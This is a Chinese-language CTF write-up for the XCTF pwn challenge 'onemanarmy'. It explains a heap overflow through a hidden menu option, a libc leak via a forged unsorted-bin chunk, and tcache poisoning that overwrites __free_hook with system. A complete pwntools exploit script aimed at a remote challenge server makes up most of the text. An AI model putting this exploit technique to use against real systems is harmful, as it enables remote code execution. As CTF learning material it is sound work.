XCTF-onemanarmy-WP
这道题目还算简单,但是乍一看容易懵(反正我懵了)。
首先保护是全开的

分配这里非常的随意,但最多只能分配大小为 0x1FF 的 chunk,libc 版本为 2.27,虽然有提供 show 的功能

但是无法直接获得属于 Unsorted Bin
的 chunk,所以 leak 没有那么容易。

free
这里没啥毛病,把指针置零了。
漏洞点主要在选择的时候,如果输入 9011,就会进入下面这个 if
中,这个 !dword_4050
的条件是成立的,所以可以有限地实现堆溢出。

那么其实很好解决了,通过堆溢出修改下一个 chunk 的 size
字段,伪造一个属于 Unsorted Bin
的 chunk,free 掉在申请回来,就可以获得 libc 的基址。由于 Tcache
的检测比较松,可以很容易地通过 Tcache poisoning
实现任意地址写,劫持函数指针。
这里我学到了一个新的思路,一般来讲这种情况是劫持 __malloc_hook
为 one_gadget
来 getshell,但是 one_gadget
的条件比较严苛,就要通过利用 realloc
来调整栈地址,总体来说非常的麻烦。而通过劫持 __free_hook
为 system
成功率就会高一些。并且如果我们 free
的 chunk 中存储了 /bin/sh\x00
(存这个是比较容易实现的),那么 free
的指针(提供给 system
的参数)就是指向这个字符串的,也可以 getshell。
exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh = process("./oneman_army")
sh = remote("111.200.241.244",43359)
libc = ELF("./libc-2.27.so")
def alloc(size,payload):
sh.sendlineafter("choice: ",'1')
sh.sendlineafter("Size: ",str(size))
sh.sendafter("Content: ",payload)
def show():
sh.sendlineafter("choice: ",'2')
def free():
sh.sendlineafter("choice: ",'3')
def backdoor(payload):
sh.sendlineafter("choice: ",str(0x2333))
sh.sendline(payload)
alloc(0x20,'\n')
free()
alloc(0x10,'\n')
free()
alloc(0x100,'\n')
alloc(0x100,'\n')
alloc(0x100,'\n')
alloc(0x100,'\n')
alloc(0x100,'protect\n')
alloc(0x20,'\n')
payload = 'a' * 0x20
fake_chunk = p64(0) + p64(0x110 * 4 + 1 + 0x20)
payload += fake_chunk + '\n'
backdoor(payload)
alloc(0x10,'aaaa\n')
free()
alloc(0x110 * 4 + 0x20 - 0x10,'\n')
show()
sh.recvuntil('\n')
libc_base = u64(('\xa0' + sh.recv(5)).ljust(8,'\x00')) - 0x3EBC40 - 96 - 0x400
log.success('libc_base:' + hex(libc_base))
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]
alloc(0x50,'\n')
free()
alloc(0x60,'\n')
free()
alloc(0x50,'\n')
payload = 'a' * 0x50 + p64(0) + p64(0x71) + p64(free_hook)
backdoor(payload)
alloc(0x60,'\n')
alloc(0x60,p64(system_addr))
alloc(0x60,'/bin/sh\x00')
free()
sh.interactive()
最近状态不太好,烦心事也很多,心情不太好,做题的效率也极低,希望可以尽快调整好。